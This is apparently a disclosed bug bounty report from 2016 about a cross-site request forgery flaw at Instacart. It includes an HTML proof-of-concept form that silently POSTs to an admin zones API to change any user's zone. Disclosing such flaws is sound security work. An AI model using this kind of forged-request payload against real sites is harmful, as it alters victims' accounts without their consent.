Instacart · Report #157993
Cross-Site Request Forgery (CSRF)
Validstatus
33upvotes
13 Oct 2016disclosed
How it was found
Hello,
i found Cross-Site Request Forgery (CSRF) that can change any user ZONE
POC:
<html>
<body>
<form action="https://admin.instacart.com/api/v2/zones" method="POST">
<input type="hidden" name="zip" value="10001" />
<input type="hidden" name="override" value="true" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
put Zone you want send the request to any user and you will change his Zone
Please Watch My POC I Attached For More Details Thanks